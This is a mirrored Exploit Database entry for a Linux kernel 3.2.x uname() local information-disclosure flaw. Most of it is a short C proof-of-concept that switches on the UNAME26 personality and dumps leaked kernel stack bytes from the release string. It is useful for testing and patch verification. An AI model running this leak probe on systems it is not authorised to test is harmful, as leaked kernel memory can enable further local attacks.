Linux Kernel 3.2.x – ‘uname()’ System Call Local Information Disclosure

• Exploit Database
• 12 阅读

• 作者： Brad Spengler
  日期： 2012-10-09
• 类别：

  • local
  平台：

  • linux
• 来源：https://www.exploit-db.com/exploits/37937/

• /*
  source: https://www.securityfocus.com/bid/55855/info
  
  The Linux kernel is prone to a local information-disclosure vulnerability.
  
  Local attackers can exploit this issue to obtain sensitive information that may lead to further attacks. 
  */
  
  /* Test for UNAME26 personality uname kernel stack leak.
   * Copyright 2012, Kees Cook <keescook@chromium.org>
   * License: GPLv3
   */
  #include <stdio.h>
  #include <stdlib.h>
  #include <string.h>
  #include <errno.h>
  #include <unistd.h>
  #include <sys/personality.h>
  #include <sys/utsname.h>
  
  #define UNAME26 0x0020000
  
  int dump_uts(void)
  {
  	int i, leaked = 0;
  	struct utsname buf = { };
  
  	if (uname(&buf)) {
  		perror("uname");
  		exit(1);
  	}
  	printf("%s\n", buf.release);
  
  	for (i = strlen(buf.release) + 1; i < sizeof(buf.release); i++) {
  		unsigned char c = (unsigned char)buf.release[i];
  
  		printf("%02x", c);
  		if (c)
  			leaked = 1;
  	}
  	printf("\n");
  
  	return leaked ? (i - (strlen(buf.release) + 1)) : 0;
  }
  
  int main(int ac, char **av)
  {
  	int leaked;
  
  	leaked = dump_uts();
  	if (leaked) {
  		printf("Leaked %d bytes even without UNAME26!?\n", leaked);
  		return 1;
  	}
  
  
  	if (personality(PER_LINUX | UNAME26) < 0) {
  		perror("personality");
  		exit(1);
  	}
  
  	leaked = dump_uts();
  	if (leaked) {
  		printf("Leaked %d bytes!\n", leaked);
  		return 1;
  	} else {
  		printf("Seems safe.\n");
  		return 0;
  	}
  }